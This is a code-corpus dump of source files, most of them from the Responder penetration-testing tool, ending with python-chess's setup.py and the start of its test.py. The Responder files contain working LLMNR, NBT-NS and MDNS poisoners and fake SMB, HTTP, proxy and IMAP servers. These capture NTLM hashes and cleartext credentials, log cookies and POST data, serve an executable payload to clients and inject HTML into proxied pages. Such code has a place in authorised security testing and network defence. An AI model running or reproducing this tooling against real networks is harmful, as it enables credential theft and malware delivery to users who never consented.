len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\xa2\x00": #NT_CREATE Access Denied. Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Body = "\x00\x00\x00" Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\x25\x00": # Trans2 Access Denied. Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Body = "\x00\x00\x00" Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\x74\x00": # LogOff Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Body = "\x02\xff\x00\x27\x00\x00\x00" Packet = str(Header)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) except socket.timeout: pass class SMB1LM(BaseRequestHandler): # SMB Server class, old version def handle(self): try: self.request.settimeout(0.5) data = self.request.recv(1024) if data[0] == "\x81": #session request 139 Buffer = "\x82\x00\x00\x00" self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\x72\x00": #Negotiate proto answer. head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data)) Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge) Body.calculate() Packet = str(head)+str(Body) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) data = self.request.recv(1024) if data[8:10] == "\x73\x00": #Session Setup AndX Request if Is_LMNT_Anonymous(data): head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Packet = str(head)+str(SMBSessEmpty()) Buffer = struct.pack(">i", len(''.join(Packet)))+Packet self.request.send(Buffer) else: ParseLMNTHash(data,self.client_address[0]) head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) Packet = str(head) + str(SMBSessEmpty()) Buffer = struct.pack(">i", len(''.join(Packet))) + Packet self.request.send(Buffer) data = self.request.recv(1024) except Exception: self.request.close() pass
13,383
Python
.py
283
42.611307
256
0.672077
SpiderLabs/Responder
4,450
1,663
44
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,407
HTTP.py
SpiderLabs_Responder/servers/HTTP.py
#!/usr/bin/env python # This file is part of Responder # Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. from SocketServer import BaseRequestHandler, StreamRequestHandler from base64 import b64decode import struct from utils import * from packets import NTLM_Challenge from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans from packets import WPADScript, ServeExeFile, ServeHtmlFile # Parse NTLMv1/v2 hash. def ParseHTTPHash(data, client): LMhashLen = struct.unpack('<H',data[12:14])[0] LMhashOffset = struct.unpack('<H',data[16:18])[0] LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper() NthashLen = struct.unpack('<H',data[20:22])[0] NthashOffset = struct.unpack('<H',data[24:26])[0] NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() UserLen = struct.unpack('<H',data[36:38])[0] UserOffset = struct.unpack('<H',data[40:42])[0] User = data[UserOffset:UserOffset+UserLen].replace('\x00','') if NthashLen == 24: HostNameLen = struct.unpack('<H',data[46:48])[0] HostNameOffset = struct.unpack('<H',data[48:50])[0] HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','') WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, settings.Config.NumChal) SaveToDb({ 'module': 'HTTP', 'type': 'NTLMv1', 'client': client, 'host': HostName, 'user': User, 'hash': LMHash+":"+NTHash, 'fullhash': WriteHash, }) if NthashLen > 24: NthashLen = 64 DomainLen = struct.unpack('<H',data[28:30])[0] DomainOffset = struct.unpack('<H',data[32:34])[0] Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','') HostNameLen = struct.unpack('<H',data[44:46])[0] HostNameOffset = struct.unpack('<H',data[48:50])[0] HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','') WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:]) SaveToDb({ 'module': 'HTTP', 'type': 'NTLMv2', 'client': client, 'host': HostName, 'user': Domain + '\\' + User, 'hash': NTHash[:32] + ":" + NTHash[32:], 'fullhash': WriteHash, }) def GrabCookie(data, host): Cookie = re.search(r'(Cookie:*.\=*)[^\r\n]*', data) if Cookie: Cookie = Cookie.group(0).replace('Cookie: ', '') if len(Cookie) > 1 and settings.Config.Verbose: print text("[HTTP] Cookie : %s " % Cookie) return Cookie return False def GrabHost(data, host): Host = re.search(r'(Host:*.\=*)[^\r\n]*', data) if Host: Host = Host.group(0).replace('Host: ', '') if settings.Config.Verbose: print text("[HTTP] Host : %s " % color(Host, 3)) return Host return False def GrabReferer(data, host): Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data) if Referer: Referer = Referer.group(0).replace('Referer: ', '') if settings.Config.Verbose: print text("[HTTP] Referer : %s " % color(Referer, 3)) return Referer return False def WpadCustom(data, client): Wpad = re.search(r'(/wpad.dat|/*\.pac)', data) if Wpad: Buffer = WPADScript(Payload=settings.Config.WPAD_Script) Buffer.calculate() return str(Buffer) return False def ServeFile(Filename): with open (Filename, "rb") as bk: return bk.read() def RespondWithFile(client, filename, dlname=None): if filename.endswith('.exe'): Buffer = ServeExeFile(Payload = ServeFile(filename), ContentDiFile=dlname) else: Buffer = ServeHtmlFile(Payload = ServeFile(filename)) Buffer.calculate() print text("[HTTP] Sending file %s to %s" % (filename, client)) return str(Buffer) def GrabURL(data, host): GET = re.findall(r'(?<=GET )[^HTTP]*', data) POST = re.findall(r'(?<=POST )[^HTTP]*', data) POSTDATA = re.findall(r'(?<=\r\n\r\n)[^*]*', data) if GET and settings.Config.Verbose: print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5))) if POST and settings.Config.Verbose: print text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5))) if len(''.join(POSTDATA)) > 2: print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip()) # Handle HTTP packet sequence. def PacketSequence(data, client): NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data) # Serve the .exe if needed if settings.Config.Serve_Always is True or (settings.Config.Serve_Exe is True and re.findall('.exe', data)): return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName) # Serve the custom HTML if needed if settings.Config.Serve_Html: return RespondWithFile(client, settings.Config.Html_Filename) WPAD_Custom = WpadCustom(data, client) if NTLM_Auth: Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] if Packet_NTLM == "\x01": GrabURL(data, client) GrabReferer(data, client) GrabHost(data, client) GrabCookie(data, client) Buffer = NTLM_Challenge(ServerChallenge=settings.Config.Challenge) Buffer.calculate() Buffer_Ans = IIS_NTLM_Challenge_Ans() Buffer_Ans.calculate(str(Buffer)) return str(Buffer_Ans) if Packet_NTLM == "\x03": NTLM_Auth = b64decode(''.join(NTLM_Auth)) ParseHTTPHash(NTLM_Auth, client) if settings.Config.Force_WPAD_Auth and WPAD_Custom: print text("[HTTP] WPAD (auth) file sent to %s" % client) return WPAD_Custom else: Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) Buffer.calculate() return str(Buffer) elif Basic_Auth: ClearText_Auth = b64decode(''.join(Basic_Auth)) GrabURL(data, client) GrabReferer(data, client) GrabHost(data, client) GrabCookie(data, client) SaveToDb({ 'module': 'HTTP', 'type': 'Basic', 'client': client, 'user': ClearText_Auth.split(':')[0], 'cleartext': ClearText_Auth.split(':')[1], }) if settings.Config.Force_WPAD_Auth and WPAD_Custom: if settings.Config.Verbose: print text("[HTTP] WPAD (auth) file sent to %s" % client) return WPAD_Custom else: Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) Buffer.calculate() return str(Buffer) else: if settings.Config.Basic: Response = IIS_Basic_401_Ans() if settings.Config.Verbose: print text("[HTTP] Sending BASIC authentication request to %s" % client) else: Response = IIS_Auth_401_Ans() if settings.Config.Verbose: print text("[HTTP] Sending NTLM authentication request to %s" % client) return str(Response) # HTTP Server class class HTTP(BaseRequestHandler): def handle(self): try: while True: self.request.settimeout(1) data = self.request.recv(8092) Buffer = WpadCustom(data, self.client_address[0]) if Buffer and settings.Config.Force_WPAD_Auth == False: self.request.send(Buffer) if settings.Config.Verbose: print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]) else: Buffer = PacketSequence(data,self.client_address[0]) self.request.send(Buffer) except socket.error: pass # HTTPS Server class class HTTPS(StreamRequestHandler): def setup(self): self.exchange = self.request self.rfile = socket._fileobject(self.request, "rb", self.rbufsize) self.wfile = socket._fileobject(self.request, "wb", self.wbufsize) def handle(self): try: while True: data = self.exchange.recv(8092) self.exchange.settimeout(0.5) Buffer = WpadCustom(data,self.client_address[0]) if Buffer and settings.Config.Force_WPAD_Auth == False: self.exchange.send(Buffer) if settings.Config.Verbose: print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0]) else: Buffer = PacketSequence(data,self.client_address[0]) self.exchange.send(Buffer) except: pass
8,799
Python
.py
220
35.481818
110
0.677286
SpiderLabs/Responder
4,450
1,663
44
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,408
HTTP_Proxy.py
SpiderLabs_Responder/servers/HTTP_Proxy.py
#!/usr/bin/env python # This file is part of Responder # Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. import urlparse import select import zlib import BaseHTTPServer from servers.HTTP import RespondWithFile from utils import * IgnoredDomains = [ 'crl.comodoca.com', 'crl.usertrust.com', 'ocsp.comodoca.com', 'ocsp.usertrust.com', 'www.download.windowsupdate.com', 'crl.microsoft.com' ] def InjectData(data, client, req_uri): # Serve the .exe if needed if settings.Config.Serve_Always: return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName) # Serve the .exe if needed and client requested a .exe if settings.Config.Serve_Exe == True and req_uri.endswith('.exe'): return RespondWithFile(client, settings.Config.Exe_Filename, os.path.basename(req_uri)) if len(data.split('\r\n\r\n')) > 1: try: Headers, Content = data.split('\r\n\r\n') except: return data RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307'] if set(RedirectCodes) & set(Headers): return data if "content-encoding: gzip" in Headers.lower(): Content = zlib.decompress(Content, 16+zlib.MAX_WBITS) if "content-type: text/html" in Headers.lower(): if settings.Config.Serve_Html: # Serve the custom HTML if needed return RespondWithFile(client, settings.Config.Html_Filename) Len = ''.join(re.findall(r'(?<=Content-Length: )[^\r\n]*', Headers)) HasBody = re.findall(r'(<body[^>]*>)', Content) if HasBody and len(settings.Config.HtmlToInject) > 2: if settings.Config.Verbose: print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1)) Content = Content.replace(HasBody[0], '%s\n%s' % (HasBody[0], settings.Config.HtmlToInject)) if "content-encoding: gzip" in Headers.lower(): Content = zlib.compress(Content) Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content))) data = Headers +'\r\n\r\n'+ Content else: if settings.Config.Verbose: print text("[PROXY] Returning unmodified HTTP response") return data class ProxySock: def __init__(self, socket, proxy_host, proxy_port) : # First, use the socket, without any change self.socket = socket # Create socket (use real one) self.proxy_host = proxy_host self.proxy_port = proxy_port # Copy attributes self.family = socket.family self.type = socket.type self.proto = socket.proto def connect(self, address) : # Store the real remote adress self.host, self.port = address # Try to connect to the proxy for (family, socktype, proto, canonname, sockaddr) in socket.getaddrinfo( self.proxy_host, self.proxy_port, 0, 0, socket.SOL_TCP): try: # Replace the socket by a connection to the proxy self.socket = socket.socket(family, socktype, proto) self.socket.connect(sockaddr) except socket.error, msg: if self.socket: self.socket.close() self.socket = None continue break if not self.socket : raise socket.error, msg # Ask him to create a tunnel connection to the target host/port self.socket.send( ("CONNECT %s:%d HTTP/1.1\r\n" + "Host: %s:%d\r\n\r\n") % (self.host, self.port, self.host, self.port)) # Get the response resp = self.socket.recv(4096) # Parse the response parts = resp.split() # Not 200 ? if parts[1] != "200": print color("[!] Error response from upstream proxy: %s" % resp, 1) pass # Wrap all methods of inner socket, without any change def accept(self) : return self.socket.accept() def bind(self, *args) : return self.socket.bind(*args) def close(self) : return self.socket.close() def fileno(self) : return self.socket.fileno() def getsockname(self) : return self.socket.getsockname() def getsockopt(self, *args) : return self.socket.getsockopt(*args) def listen(self, *args) : return self.socket.listen(*args) def makefile(self, *args) : return self.socket.makefile(*args) def recv(self, *args) : return self.socket.recv(*args) def recvfrom(self, *args) : return self.socket.recvfrom(*args) def recvfrom_into(self, *args) : return self.socket.recvfrom_into(*args) def recv_into(self, *args) : return self.socket.recv_into(buffer, *args) def send(self, *args) : try: return self.socket.send(*args) except: pass def sendall(self, *args) : return self.socket.sendall(*args) def sendto(self, *args) : return self.socket.sendto(*args) def setblocking(self, *args) : return self.socket.setblocking(*args) def settimeout(self, *args) : return self.socket.settimeout(*args) def gettimeout(self) : return self.socket.gettimeout() def setsockopt(self, *args): return self.socket.setsockopt(*args) def shutdown(self, *args): return self.socket.shutdown(*args) # Return the (host, port) of the actual target, not the proxy gateway def getpeername(self) : return self.host, self.port # Inspired from Tiny HTTP proxy, original work: SUZUKI Hisao. class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): __base = BaseHTTPServer.BaseHTTPRequestHandler __base_handle = __base.handle rbufsize = 0 def handle(self): (ip, port) = self.client_address if settings.Config.Verbose: print text("[PROXY] Received connection from %s" % self.client_address[0]) self.__base_handle() def _connect_to(self, netloc, soc): i = netloc.find(':') if i >= 0: host_port = netloc[:i], int(netloc[i+1:]) else: host_port = netloc, 80 try: soc.connect(host_port) except socket.error, arg: try: msg = arg[1] except: msg = arg self.send_error(404, msg) return 0 return 1 def socket_proxy(self, af, fam): Proxy = settings.Config.Upstream_Proxy Proxy = Proxy.rstrip('/').replace('http://', '').replace('https://', '') Proxy = Proxy.split(':') try: Proxy = (Proxy[0], int(Proxy[1])) except: Proxy = (Proxy[0], 8080) soc = socket.socket(af, fam) return ProxySock(soc, Proxy[0], Proxy[1]) def do_CONNECT(self): if settings.Config.Upstream_Proxy: soc = self.socket_proxy(socket.AF_INET, socket.SOCK_STREAM) else: soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: if self._connect_to(self.path, soc): self.wfile.write(self.protocol_version +" 200 Connection established\r\n") self.wfile.write("Proxy-agent: %s\r\n" % self.version_string()) self.wfile.write("\r\n") try: self._read_write(soc, 300) except: pass except: pass finally: soc.close() self.connection.close() def do_GET(self): (scm, netloc, path, params, query, fragment) = urlparse.urlparse(self.path, 'http') if netloc in IgnoredDomains: #self.send_error(200, "OK") return if scm not in 'http' or fragment or not netloc: self.send_error(400, "bad url %s" % self.path) return if settings.Config.Upstream_Proxy: soc = self.socket_proxy(socket.AF_INET, socket.SOCK_STREAM) else: soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: URL_Unparse = urlparse.urlunparse(('', '', path, params, query, '')) if self._connect_to(netloc, soc): soc.send("%s %s %s\r\n" % (self.command, URL_Unparse, self.request_version)) Cookie = self.headers['Cookie'] if "Cookie" in self.headers else '' if settings.Config.Verbose: print text("[PROXY] Client : %s" % color(self.client_address[0], 3)) print text("[PROXY] Requested URL : %s" % color(self.path, 3)) print text("[PROXY] Cookie : %s" % Cookie) self.headers['Connection'] = 'close' del self.headers['Proxy-Connection'] del self.headers['If-Range'] del self.headers['Range'] for k, v in self.headers.items(): soc.send("%s: %s\r\n" % (k.title(), v)) soc.send("\r\n") try: self._read_write(soc, netloc) except: pass except: pass finally: soc.close() self.connection.close() def _read_write(self, soc, netloc='', max_idling=30): iw = [self.connection, soc] ow = [] count = 0 while 1: count += 1 (ins, _, exs) = select.select(iw, ow, iw, 1) if exs: break if ins: for i in ins: if i is soc: out = self.connection try: data = i.recv(4096) if len(data) > 1: data = InjectData(data, self.client_address[0], self.path) except: pass else: out = soc try: data = i.recv(4096) if self.command == "POST" and settings.Config.Verbose: print text("[PROXY] POST Data : %s" % data) except: pass if data: try: out.send(data) count = 0 except: pass if count == max_idling: break return None do_HEAD = do_GET do_POST = do_GET do_PUT = do_GET do_DELETE=do_GET
9,472
Python
.py
272
30.930147
158
0.689932
SpiderLabs/Responder
4,450
1,663
44
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,409
IMAP.py
SpiderLabs_Responder/servers/IMAP.py
#!/usr/bin/env python # This file is part of Responder # Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. from utils import * from SocketServer import BaseRequestHandler from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd class IMAP(BaseRequestHandler): def handle(self): try: self.request.send(str(IMAPGreeting())) data = self.request.recv(1024) if data[5:15] == "CAPABILITY": RequestTag = data[0:4] self.request.send(str(IMAPCapability())) self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag))) data = self.request.recv(1024) if data[5:10] == "LOGIN": Credentials = data[10:].strip() SaveToDb({ 'module': 'IMAP', 'type': 'Cleartext', 'client': self.client_address[0], 'user': Credentials[0], 'cleartext': Credentials[1], 'fullhash': Credentials[0]+":"+Credentials[1], }) ## FIXME: Close connection properly ## self.request.send(str(ditchthisconnection())) ## data = self.request.recv(1024) except Exception: pass
1,673
Python
.py
44
34.772727
71
0.729846
SpiderLabs/Responder
4,450
1,663
44
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,410
MDNS.py
SpiderLabs_Responder/poisoners/MDNS.py
#!/usr/bin/env python # This file is part of Responder # Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. import struct from SocketServer import BaseRequestHandler from packets import MDNS_Ans from utils import * def Parse_MDNS_Name(data): try: data = data[12:] NameLen = struct.unpack('>B',data[0])[0] Name = data[1:1+NameLen] NameLen_ = struct.unpack('>B',data[1+NameLen])[0] Name_ = data[1+NameLen:1+NameLen+NameLen_+1] return Name+'.'+Name_ except IndexError: return None def Poisoned_MDNS_Name(data): data = data[12:] return data[:len(data)-5] class MDNS(BaseRequestHandler): def handle(self): MADDR = "224.0.0.251" MPORT = 5353 data, soc = self.request Request_Name = Parse_MDNS_Name(data) # Break out if we don't want to respond to this host if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True): return None if settings.Config.AnalyzeMode: # Analyze Mode if Parse_IPV6_Addr(data): print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))) else: # Poisoning Mode if Parse_IPV6_Addr(data): Poisoned_Name = Poisoned_MDNS_Name(data) Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=socket.inet_aton(settings.Config.Bind_To)) Buffer.calculate() soc.sendto(str(Buffer), (MADDR, MPORT)) print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
2,136
Python
.py
52
38.576923
133
0.736258
SpiderLabs/Responder
4,450
1,663
44
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,411
NBTNS.py
SpiderLabs_Responder/poisoners/NBTNS.py
#!/usr/bin/env python # This file is part of Responder # Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. import fingerprint from packets import NBT_Ans from SocketServer import BaseRequestHandler from utils import * # Define what are we answering to. def Validate_NBT_NS(data): if settings.Config.AnalyzeMode: return False elif NBT_NS_Role(data[43:46]) == "File Server": return True elif settings.Config.NBTNSDomain: if NBT_NS_Role(data[43:46]) == "Domain Controller": return True elif settings.Config.Wredirect: if NBT_NS_Role(data[43:46]) == "Workstation/Redirector": return True return False # NBT_NS Server class. class NBTNS(BaseRequestHandler): def handle(self): data, socket = self.request Name = Decode_Name(data[13:45]) # Break out if we don't want to respond to this host if RespondToThisHost(self.client_address[0], Name) is not True: return None if data[2:4] == "\x01\x10": Finger = None if settings.Config.Finger_On_Off: Finger = fingerprint.RunSmbFinger((self.client_address[0],445)) if settings.Config.AnalyzeMode: # Analyze Mode LineHeader = "[Analyze mode: NBT-NS]" print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) else: # Poisoning Mode Buffer = NBT_Ans() Buffer.calculate(data) socket.sendto(str(Buffer), self.client_address) LineHeader = "[*] [NBT-NS]" print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1) if Finger is not None: print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
2,367
Python
.py
57
38.789474
151
0.730753
SpiderLabs/Responder
4,450
1,663
44
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,412
LLMNR.py
SpiderLabs_Responder/poisoners/LLMNR.py
#!/usr/bin/env python # This file is part of Responder # Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. import struct import fingerprint from packets import LLMNR_Ans from SocketServer import BaseRequestHandler from utils import * def Parse_LLMNR_Name(data): NameLen = struct.unpack('>B',data[12])[0] return data[13:13+NameLen] def IsICMPRedirectPlausible(IP): dnsip = [] for line in file('/etc/resolv.conf', 'r'): ip = line.split() if len(ip) < 2: continue elif ip[0] == 'nameserver': dnsip.extend(ip[1:]) for x in dnsip: if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False: print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5) print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5) print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5) if settings.Config.AnalyzeMode: IsICMPRedirectPlausible(settings.Config.Bind_To) class LLMNR(BaseRequestHandler): # LLMNR Server class def handle(self): data, soc = self.request Name = Parse_LLMNR_Name(data) # Break out if we don't want to respond to this host if RespondToThisHost(self.client_address[0], Name) is not True: return None if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data): Finger = None if settings.Config.Finger_On_Off: Finger = fingerprint.RunSmbFinger((self.client_address[0], 445)) if settings.Config.AnalyzeMode: LineHeader = "[Analyze mode: LLMNR]" print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) else: # Poisoning Mode Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) Buffer.calculate() soc.sendto(str(Buffer), self.client_address) LineHeader = "[*] [LLMNR]" print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) if Finger is not None: print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) print text("[FINGER] Client Version : %s" % color(Finger[1], 3))
2,750
Python
.py
62
41.548387
125
0.723468
SpiderLabs/Responder
4,450
1,663
44
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,413
setup.py
niklasf_python-chess/setup.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import os import platform import re import sys import textwrap import setuptools if sys.version_info < (3, ): raise ImportError(textwrap.dedent("""\ You are trying to install python-chess on Python 2. The last compatible branch was 0.23.x, which was supported until the end of 2018. Consider upgrading to Python 3. """)) if sys.version_info < (3, 8): raise ImportError(textwrap.dedent("""\ You are trying to install python-chess. Since version 1.11.0, python-chess requires Python 3.8 or later. Since version 1.0.0, python-chess requires Python 3.7 or later. """)) import chess def read_description(): """ Reads the description from README.rst and substitutes mentions of the latest version with a concrete version number. """ with open(os.path.join(os.path.dirname(__file__), "README.rst"), encoding="utf-8") as f: description = f.read() # Link to the documentation of the specific version. description = description.replace( "//python-chess.readthedocs.io/en/latest/", "//python-chess.readthedocs.io/en/v{}/".format(chess.__version__)) # Use documentation badge for the specific version. description = description.replace( "//readthedocs.org/projects/python-chess/badge/?version=latest", "//readthedocs.org/projects/python-chess/badge/?version=v{}".format(chess.__version__)) # Remove doctest comments. description = re.sub(r"\s*# doctest:.*", "", description) return description setuptools.setup( name="chess", version=chess.__version__, author=chess.__author__, author_email=chess.__email__, description=chess.__doc__.replace("\n", " ").strip(), long_description=read_description(), long_description_content_type="text/x-rst", license="GPL-3.0+", keywords="chess fen epd pgn polyglot syzygy gaviota uci xboard", url="https://github.com/niklasf/python-chess", packages=["chess"], test_suite="test", zip_safe=False, # For mypy package_data={ "chess": ["py.typed"], }, python_requires=">=3.8", classifiers=[ "Development Status :: 5 - Production/Stable", "Intended Audience :: Developers", "Intended Audience :: Science/Research", "License :: OSI Approved :: GNU General Public License v3 or later (GPLv3+)", "Operating System :: OS Independent", "Programming Language :: Python :: 3 :: Only", "Programming Language :: Python :: 3.8", "Programming Language :: Python :: 3.9", "Programming Language :: Python :: 3.10", "Programming Language :: Python :: 3.11", "Programming Language :: Python :: 3.12", "Topic :: Games/Entertainment :: Board Games", "Topic :: Games/Entertainment :: Turn Based Strategy", "Topic :: Software Development :: Libraries :: Python Modules", "Typing :: Typed", ], project_urls={ "Documentation": "https://python-chess.readthedocs.io", }, obsoletes=["python_chess"], )
3,139
Python
.py
79
33.721519
95
0.649803
niklasf/python-chess
2,384
520
22
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,414
test.py
niklasf_python-chess/test.py
#!/usr/bin/env python3 import asyncio import copy import logging import os import os.path import platform import sys import tempfile import textwrap import unittest import io import chess import chess.gaviota import chess.engine import chess.pgn import chess.polyglot import chess.svg import chess.syzygy import chess.variant class RaiseLogHandler(logging.StreamHandler): def handle(self, record): super().handle(record) raise RuntimeError("was expecting no log messages") def catchAndSkip(signature, message=None): def _decorator(f): def _wrapper(self): try: return f(self) except signature as err: raise unittest.SkipTest(message or err) return _wrapper return _decorator class SquareTestCase(unittest.TestCase): def test_square(self): for square in chess.SQUARES: file_index = chess.square_file(square) rank_index = chess.square_rank(square) self.assertEqual(chess.square(file_index, rank_index), square, chess.square_name(square)) def test_shifts(self): shifts = [ chess.shift_down, chess.shift_2_down, chess.shift_up, chess.shift_2_up, chess.shift_right, chess.shift_2_right, chess.shift_left, chess.shift_2_left, chess.shift_up_left, chess.shift_up_right, chess.shift_down_left, chess.shift_down_right, ] for shift in shifts: for bb_square in chess.BB_SQUARES: shifted = shift(bb_square) c = chess.popcount(shifted) 